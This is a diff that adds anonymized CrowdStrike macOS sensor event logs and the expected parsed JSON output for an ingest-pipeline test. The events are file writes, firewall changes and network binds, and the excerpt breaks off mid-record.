+{"OutOctets":"3000000600","CreationTimeStamp":"-11724671741.249","aip":"81.2.69.192","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"445","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","EventOrigin":"1","id":"f0d3d878ef1a02ab86680075a0eda18b56e9","PhysicalAddressLength":"6","InUcastPkts":"80890102","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"55043379","PhysicalAddress":"b9-55-b4-6e-3e-c8","PrefixLength":"52","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"46360000","InMulticastPkts":"36300760","ConfigBuild":"2c8b.4.b224e8a.4f","InOctets":"5401980300","NetLuidIndex":"0","Entitlements":"76","name":"1b1a40a16643c4d9d9ad13","aid":"3bec845649acaaa1eb41d1ad4a804a38","cid":"4092825518eaf67377a6e4492ae44577"}
+{"LocalAddressIP4":"216.160.83.56","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"65043379","aip":"81.2.69.142","InterfaceIndex":"8","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"86","name":"4a33a844314cf727f26cb81df45b9","EventOrigin":"1","id":"a885c0aff4e59afa62b4cfc45dd233f79546","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"3bec845649acaaa1eb41d1ad4a804a38","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"9a93b1357a69e905c9a","FileCategory":"6","MachOSubType":"6","Size":"3000605","ContextThreadId":"0","aip":"89.160.20.112","BoundingLimitCount":"10","FileIdentifier":"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9","event_platform":"Mac","EventOrigin":"1","id":"1a8f053397e4f0d36a740347ced0ee4eaad4","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"MachOFileWritten","ContextTimeStamp":"1749108669.141","UserName":"4813","ConfigStateHash":"25043379","ContextProcessId":"704802000705084000","SHA256HashData":"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63","ConfigBuild":"2c8b.4.b224e8a.4f","IsOnRemovableDisk":"0","BoundingLimitDuration":"4486640","Entitlements":"26","name":"1148999d786555f3e786e","aid":"9ea510e4d87c4988253c7355515a7081","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"75043379","Timeout":"284","ParentProcessId":"0","aip":"81.2.69.142","SuppressType":"2","SHA256HashData":"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d","ProcessCount":"5","BoundedCount":"4","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"60","event_platform":"Mac","CommandLine":"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd","Entitlements":"16","name":"53731de338efc268aed79822","EventOrigin":"45","id":"9b9091551ef260bfbe2fcbaa991fd216578d","EffectiveTransmissionClass":"2","aid":"aff97f8b915352339afe79c5a16d76b3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"PtyCreated","ContextTimeStamp":"1748620809.371","ConfigStateHash":"85043379","ContextProcessId":"601020521600005482","DeviceId":"506006027","ContextThreadId":"0","aip":"89.160.20.112","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","CommandLine":"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660","ImageFileName":"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a","Entitlements":"96","name":"a3f9634e8f5cb2a","EventOrigin":"1","id":"1653ccad055c131c79fb49ce013cfa05fde1","EffectiveTransmissionClass":"2","aid":"0883f49bee1d86ce81176e6d89766adc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"LocalAddressIP4":"81.2.69.144","event_simpleName":"RawBindIP4","ContextTimeStamp":"1759703286.546","ConfigStateHash":"55043379","ConnectionFlags":"0","ContextProcessId":"148005106018043800","RemotePort":"260","aip":"2a02:cf40::2","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"260","Entitlements":"86","name":"2552bb1c58ae3899","EventOrigin":"1","id":"c842b689fbd78207d195d8c17e3a04a000f6","Protocol":"45","EffectiveTransmissionClass":"3","aid":"6de60f31dcfac7d0eac699802285aa4c","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1760875204.560","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"75043379","ConnectionFlags":"0","ContextProcessId":"525000013203000905","RemotePort":"60285","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"28","Entitlements":"26","name":"6be29847ad234f89","EventOrigin":"1","id":"2d87ac61a22522847bc2143b50b4aac12858","Protocol":"45","EffectiveTransmissionClass":"3","aid":"bfae1ce346c864e642355116756472d6","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ScriptControlScanInfo","ScriptContent":"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c","ConfigStateHash":"600000970","OriginalContentLength":"100","ContextProcessId":"516365064008244070","aip":"89.160.20.128","ContentSHA256HashData":"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","ScriptContentName":"/51a/89","Entitlements":"56","name":"0a1beccbcea40ac2468a3ee78b","EventOrigin":"1","id":"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0","EffectiveTransmissionClass":"2","aid":"c7fe43754f5b6ebfa566ef25e9ac6ecc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"d66187f4b1779e","event_simpleName":"TarFileWritten","ContextTimeStamp":"1753030307.865","UserName":"2e31bb4e4604be73a","FileCategory":"1","ConfigStateHash":"35043379","ContextProcessId":"140060400067209000","Size":"534039","ContextThreadId":"0","aip":"2a02:cf40::2","FileIdentifier":"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"e7ebdc66589c6ae4b87","EventOrigin":"1","id":"f6d443ab644ffa64617a90936d6da555f0a2","EffectiveTransmissionClass":"2","aid":"3e32d11b9db211e438bf9141dbc31d85","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5"}
+{"ContextBaseFileName":"6f79cfc3feaa775","event_simpleName":"XarFileWritten","ContextTimeStamp":"1757404834.724","UserName":"f27ee237062cfd9","FileCategory":"1","ConfigStateHash":"95043379","ContextProcessId":"403000009094400601","Size":"1000870","ContextThreadId":"0","aip":"81.2.69.144","FileIdentifier":"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"708df495f98345bf516","EventOrigin":"1","id":"2633213df12f91013279bef1b12ce10d2c67","EffectiveTransmissionClass":"2","aid":"b1e14abeaf9680c3f0b9be1f18550235","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json
new file mode 100644
index 0000000000..b4847a3eb2
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json
@@ -0,0 +1,1764 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "25043379",
+                "ContextBaseFileName": "09e61",
+                "ContextProcessId": "128660005005330005",
+                "ContextTimeStamp": "2025-09-06T21:44:33.478Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileCategory": "1",
+                "IsOnRemovableDisk": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "902e0c3461e5e975df4227b1ce8919630d6d",
+                "name": "f1facdb9387bd66ffd9ef"
+            },
+            "device": {
+                "id": "b616fca617fa5819625542d9505100de"
+            },
+            "event": {
+                "action": "BZip2FileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "902e0c3461e5e975df4227b1ce8919630d6d|b616fca617fa5819625542d9505100de|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"09e61\",\"event_simpleName\":\"BZip2FileWritten\",\"ContextTimeStamp\":\"1757195073.478\",\"UserName\":\"4813\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"25043379\",\"ContextProcessId\":\"128660005005330005\",\"Size\":\"164\",\"ContextThreadId\":\"0\",\"aip\":\"216.160.83.56\",\"FileIdentifier\":\"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"f1facdb9387bd66ffd9ef\",\"EventOrigin\":\"1\",\"id\":\"902e0c3461e5e975df4227b1ce8919630d6d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"b616fca617fa5819625542d9505100de\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/836/3be7855d.bz2\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/715dc84/c86/836",
+                "extension": "bz2",
+                "inode": "ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a",
+                "name": "3be7855d.bz2",
+                "path": "/715dc84/c86/836/3be7855d.bz2",
+                "size": 164,
+                "type": "file"
+            },
+            "host": {
+                "id": "b616fca617fa5819625542d9505100de",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "BZip2FileWritten",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "b616fca617fa5819625542d9505100de",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "128660005005330005",
+                "name": "09e61",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "25043379"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "4813"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "4813"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "859328400",
+                "ContextProcessId": "807031761070052000",
+                "ContextTimeStamp": "2025-05-26T23:37:50.919Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "USN": "150410415",
+                "UnixMode": "905",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "46dbd0c61a79bcf29fba222797ace5754589",
+                "name": "0e25074caaed0b54119466642"
+            },
+            "device": {
+                "id": "38d08ba2d7184565619459d87ca92c8a"
+            },
+            "event": {
+                "action": "CriticalFileModified",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "46dbd0c61a79bcf29fba222797ace5754589|38d08ba2d7184565619459d87ca92c8a|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"CriticalFileModified\",\"ContextTimeStamp\":\"1748302670.919\",\"GID\":\"0\",\"ConfigStateHash\":\"859328400\",\"ContextProcessId\":\"807031761070052000\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"FileIdentifier\":\"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21\",\"ConfigBuild\":\"2c8b.4.daf5d9d.4f\",\"UID\":\"0\",\"USN\":\"150410415\",\"event_platform\":\"Mac\",\"UnixMode\":\"905\",\"Entitlements\":\"86\",\"name\":\"0e25074caaed0b54119466642\",\"EventOrigin\":\"1\",\"id\":\"46dbd0c61a79bcf29fba222797ace5754589\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"38d08ba2d7184565619459d87ca92c8a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/812/4f8a2\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "/715dc84/812",
+                "inode": "fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21",
+                "name": "4f8a2",
+                "path": "/715dc84/812/4f8a2",
+                "type": "file"
+            },
+            "host": {
+                "id": "38d08ba2d7184565619459d87ca92c8a",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "CriticalFileModified",
+            "observer": {
+                "address": [
+                    "2a02:cf40::1"
+                ],
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": [
+                    "2a02:cf40::1"
+                ],
+                "serial_number": "38d08ba2d7184565619459d87ca92c8a",
+                "version": "2c8b.4.daf5d9d.4f"
+            },
+            "process": {
+                "entity_id": "807031761070052000",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "859328400"
+                ],
+                "ip": [
+                    "2a02:cf40::1"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "65043379",
+                "ContextProcessId": "309000003380007780",
+                "ContextTimeStamp": "2025-09-13T16:35:42.026Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "3",
+                "TreeId": "586900090030000484",
+                "UnixMode": "105",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "2e5060ef833ae51492bb2f2feaa9f0a52725",
+                "name": "b556b2f8c2fcc9d247c"
+            },
+            "device": {
+                "id": "f8e97b22125b280e944b0a3e95273005"
+            },
+            "event": {
+                "action": "FileCreateInfo",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "2e5060ef833ae51492bb2f2feaa9f0a52725|f8e97b22125b280e944b0a3e95273005|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FileCreateInfo\",\"ContextTimeStamp\":\"1757781342.026\",\"GID\":\"45\",\"ConfigStateHash\":\"65043379\",\"ContextProcessId\":\"309000003380007780\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"UID\":\"213\",\"event_platform\":\"Mac\",\"TreeId\":\"586900090030000484\",\"UnixMode\":\"105\",\"Entitlements\":\"26\",\"name\":\"b556b2f8c2fcc9d247c\",\"EventOrigin\":\"3\",\"id\":\"2e5060ef833ae51492bb2f2feaa9f0a52725\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f8e97b22125b280e944b0a3e95273005\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052",
+                "extension": "reg-journal",
+                "name": "331ced6b.reg-journal",
+                "path": "/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal",
+                "type": "file"
+            },
+            "host": {
+                "id": "f8e97b22125b280e944b0a3e95273005",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FileCreateInfo",
+            "observer": {
+                "address": [
+                    "2a02:cf40::1"
+                ],
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": [
+                    "2a02:cf40::1"
+                ],
+                "serial_number": "f8e97b22125b280e944b0a3e95273005",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "309000003380007780",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "65043379"
+                ],
+                "ip": [
+                    "2a02:cf40::1"
+                ],
+                "user": [
+                    "213"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "group": {
+                    "id": "45"
+                },
+                "id": "213"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "600000970",
+                "ContextProcessId": "700001226457050500",
+                "ContextTimeStamp": "2025-11-11T16:15:09.496Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "16",
+                "EventOrigin": "45",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "da89f6e8e51680edc853caf65110cd0b6997",
+                "name": "d6b45f4ee5e3f0dc22415"
+            },
+            "device": {
+                "id": "688342f2ec2adb5c7a9da5d3fec0cf70"
+            },
+            "event": {
+                "action": "FirewallDisabled",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "da89f6e8e51680edc853caf65110cd0b6997|688342f2ec2adb5c7a9da5d3fec0cf70|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FirewallDisabled\",\"ContextTimeStamp\":\"1762877709.496\",\"ConfigStateHash\":\"600000970\",\"ContextProcessId\":\"700001226457050500\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"Entitlements\":\"16\",\"name\":\"d6b45f4ee5e3f0dc22415\",\"EventOrigin\":\"45\",\"id\":\"da89f6e8e51680edc853caf65110cd0b6997\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"688342f2ec2adb5c7a9da5d3fec0cf70\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "688342f2ec2adb5c7a9da5d3fec0cf70",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FirewallDisabled",
+            "observer": {
+                "address": [
+                    "2a02:cf40::1"
+                ],
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": [
+                    "2a02:cf40::1"
+                ],
+                "serial_number": "688342f2ec2adb5c7a9da5d3fec0cf70",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "700001226457050500"
+            },
+            "related": {
+                "hash": [
+                    "600000970"
+                ],
+                "ip": [
+                    "2a02:cf40::1"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "859328400",
+                "ContextProcessId": "900268078000780315",
+                "ContextTimeStamp": "2025-05-11T11:25:53.829Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "46",
+                "EventOrigin": "45",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b6c44348e6ee1e39992118be1c7150fa6a2e",
+                "name": "07198adb48f191c84a38"
+            },
+            "device": {
+                "id": "38d08ba2d7184565619459d87ca92c8a"
+            },
+            "event": {
+                "action": "FirewallEnabled",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "b6c44348e6ee1e39992118be1c7150fa6a2e|38d08ba2d7184565619459d87ca92c8a|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FirewallEnabled\",\"ContextTimeStamp\":\"1746962753.829\",\"ConfigStateHash\":\"859328400\",\"ContextProcessId\":\"900268078000780315\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.daf5d9d.4f\",\"event_platform\":\"Mac\",\"Entitlements\":\"46\",\"name\":\"07198adb48f191c84a38\",\"EventOrigin\":\"45\",\"id\":\"b6c44348e6ee1e39992118be1c7150fa6a2e\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"38d08ba2d7184565619459d87ca92c8a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "38d08ba2d7184565619459d87ca92c8a",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FirewallEnabled",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "38d08ba2d7184565619459d87ca92c8a",
+                "version": "2c8b.4.daf5d9d.4f"
+            },
+            "process": {
+                "entity_id": "900268078000780315"
+            },
+            "related": {
+                "hash": [
+                    "859328400"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "95043379",
+                "ContextProcessId": "160345220009000222",
+                "ContextTimeStamp": "2025-05-12T22:49:06.428Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "66",
+                "EventOrigin": "45",
+                "FirewallAction": "1",
+                "InterfaceAlias": "445",
+                "IsUnique": "1",
+                "LocalAddressIP4": [
+                    "216.160.83.56"
+                ],
+                "LocalAddressMaskIP4": "5452380700",
+                "NegateInterface": "0",
+                "NegateLocalAddress": "0",
+                "NegateRemoteAddress": "0",
+                "RemoteAddressMaskIP4": "7807212067",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "806ac88ec376c30a3ad5d58a509223d6a681",
+                "name": "dc265f862d44e408c3e76cd"
+            },
+            "destination": {
+                "address": "216.160.83.56",
+                "as": {
+                    "number": 209
+                },
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": "216.160.83.56"
+            },
+            "device": {
+                "id": "e49032362e42da0f07152b78718c7674"
+            },
+            "event": {
+                "action": "FirewallSetRuleIP4",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "806ac88ec376c30a3ad5d58a509223d6a681|e49032362e42da0f07152b78718c7674|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FirewallAction\":\"1\",\"aip\":\"216.160.83.56\",\"NegateLocalAddress\":\"0\",\"InterfaceAlias\":\"445\",\"RemoteAddressMaskIP4\":\"7807212067\",\"event_platform\":\"Mac\",\"NegateInterface\":\"0\",\"IsUnique\":\"1\",\"EventOrigin\":\"45\",\"LocalAddressMaskIP4\":\"5452380700\",\"id\":\"806ac88ec376c30a3ad5d58a509223d6a681\",\"Protocol\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"216.160.83.56\",\"event_simpleName\":\"FirewallSetRuleIP4\",\"ContextTimeStamp\":\"1747090146.428\",\"ConfigStateHash\":\"95043379\",\"ContextProcessId\":\"160345220009000222\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"Entitlements\":\"66\",\"name\":\"dc265f862d44e408c3e76cd\",\"aid\":\"e49032362e42da0f07152b78718c7674\",\"NegateRemoteAddress\":\"0\",\"RemoteAddressIP4\":\"81.2.69.144\",\"ConnectionDirection\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "e49032362e42da0f07152b78718c7674",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FirewallSetRuleIP4",
+            "network": {
+                "community_id": "1:wvN/qwh5jrHmOHw4wJqiL5Fwle8=",
+                "direction": "inbound",
+                "iana_number": "0",
+                "transport": "hopopt"
+            },
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "e49032362e42da0f07152b78718c7674",
+                "version": "2c8b.4.b224e8a.4f"
+            },
+            "process": {
+                "entity_id": "160345220009000222"
+            },
+            "related": {
+                "hash": [
+                    "95043379"
+                ],
+                "ip": [
+                    "216.160.83.56",
+                    "81.2.69.144"
+                ]
+            },
+            "source": {
+                "address": "81.2.69.144",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "15043379",
+                "ContextProcessId": "160345220009000222",
+                "ContextTimeStamp": "2025-06-13T07:50:51.624Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "76",
+                "EventOrigin": "45",
+                "FirewallAction": "1",
+                "IcmpCode": "1",
+                "IcmpType": "990",
+                "InterfaceAlias": "3d0df",
+                "IsUnique": "1",
+                "LocalAddressIP6": [
+                    "2a02:cf40::1"
+                ],
+                "LocalAddressMaskIP6": "0e83fa75cca53fdf",
+                "NegateInterface": "0",
+                "NegateLocalAddress": "0",
+                "NegateRemoteAddress": "0",
+                "RemoteAddressMaskIP6": "374708fff7719dd5",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "642c09f791082b5d83a09c110880c78938cf",
+                "name": "e1d442f5c46bbf234569aea"
+            },
+            "destination": {
+                "address": "2a02:cf40::1",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
